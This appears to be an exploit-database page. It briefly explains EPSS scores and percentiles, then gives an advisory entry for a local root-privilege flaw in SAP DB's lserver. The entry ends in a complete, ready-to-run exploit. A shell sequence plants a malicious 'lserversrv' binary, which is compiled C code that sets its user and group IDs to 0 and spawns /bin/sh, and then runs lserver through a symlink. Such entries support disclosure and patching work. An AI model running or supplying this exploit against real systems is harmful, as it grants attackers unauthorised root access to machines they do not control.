EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EDB Verified : Yes

source: https://www.securityfocus.com/bid/6316/info A vulnerability has been discovered in SAP DB that may allow an unprivileged to execute commands with root privileges. The vulnerability is due to insufficient sanity checks by lserver, when attempting to execute the 'lserversrv' binary in the current directory. An attacker can exploit this vulnerability by creating a symbolic link to the 'lserver' binary in a directory containing a maliciously created 'lserversrv' binary. Executing lserver via the symbolic link will cause the malicious 'lserversrv' progam in the current directory to be executed. cd /tmp mkdir "snosoft+sapdb=root" cd "snosoft+sapdb=root" ln -s /usr/sapdb/depend/pgm/lserver lserver echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > root.c cc -o root root.c cp root lserversrv ./lserver
